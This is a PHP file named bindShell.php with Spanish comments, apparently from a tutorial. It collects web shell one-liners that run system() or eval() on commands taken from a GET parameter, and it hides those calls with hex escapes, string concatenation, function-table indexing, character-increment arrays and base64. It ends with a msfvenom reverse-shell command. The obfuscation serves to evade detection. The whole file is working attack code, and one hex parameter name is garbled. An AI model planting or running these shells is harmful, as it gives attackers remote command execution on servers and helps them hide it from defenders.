bindShell.php

<?php
       system($_GET['cmd']);
       system/*subscribete*/($_GET['cmd']);// y comparte
       (sy).(st).(em)($_GET['cmd']);

// echo -n "system"|od -A n -t x1 // convierte a hexadecimal
       "\x73\x79\x73\x74\x65\x6d"($_GET['cmd']);
       (("\x73\x79").("\x73\x74").("\x65\x6d"))($_GET['cmd']);
       (("\x73\x79").("\x73\x74").("\x65\x6d"))($_GET['\x63\x6d\x64']);

// obtener un listado de funciones del servidor
       var_dump(get_defined_functions()['internal']);
       var_dump(get_defined_functions()['internal'][1269]);
       get_defined_functions()['internal'][1269]($_GET['cmd']);
       "\x67\x65\x74\x5f\x64\x65\x66\x69\x6e\x65\x64\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e\x73"()['internal'][1269]($_GET['cmd']);
       (("\x67\x65\x74\x5f\x64\x65").("\x66\x69\x6e\x65\x64\x5f").("\x66\x75").("\x6e\x63\x74\x69\x6f\x6e\x73"))()['internal'][1269]($_GET['cmd']);

// ofuscacion por array
       $_ = array("r","x","r","s","d","l");
       for ($__=0; $__ < sizeof($_); $__++) {
               $_[$__]++;
       }
       $s=$_[0].$_[1].$_[2].$_[3].$_[4].$_[5];
       $s($_GET["\x63\x60\x64"]);

// ofuscado con base64 y eval
       eval($_GET["code"]); // ?code=system("ls -l");
       eval(base64_decode($_GET["code"]));// ?code=c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg==&cmd=uname -a
       // echo "c3lzdGVtKCRfR0VUWydjbWQnXSk7Cg=="|base64 -d
       // msfvenom -p php/reverse_php LHOST=192.168.1.67 LPORT=4546 -b "*"
?>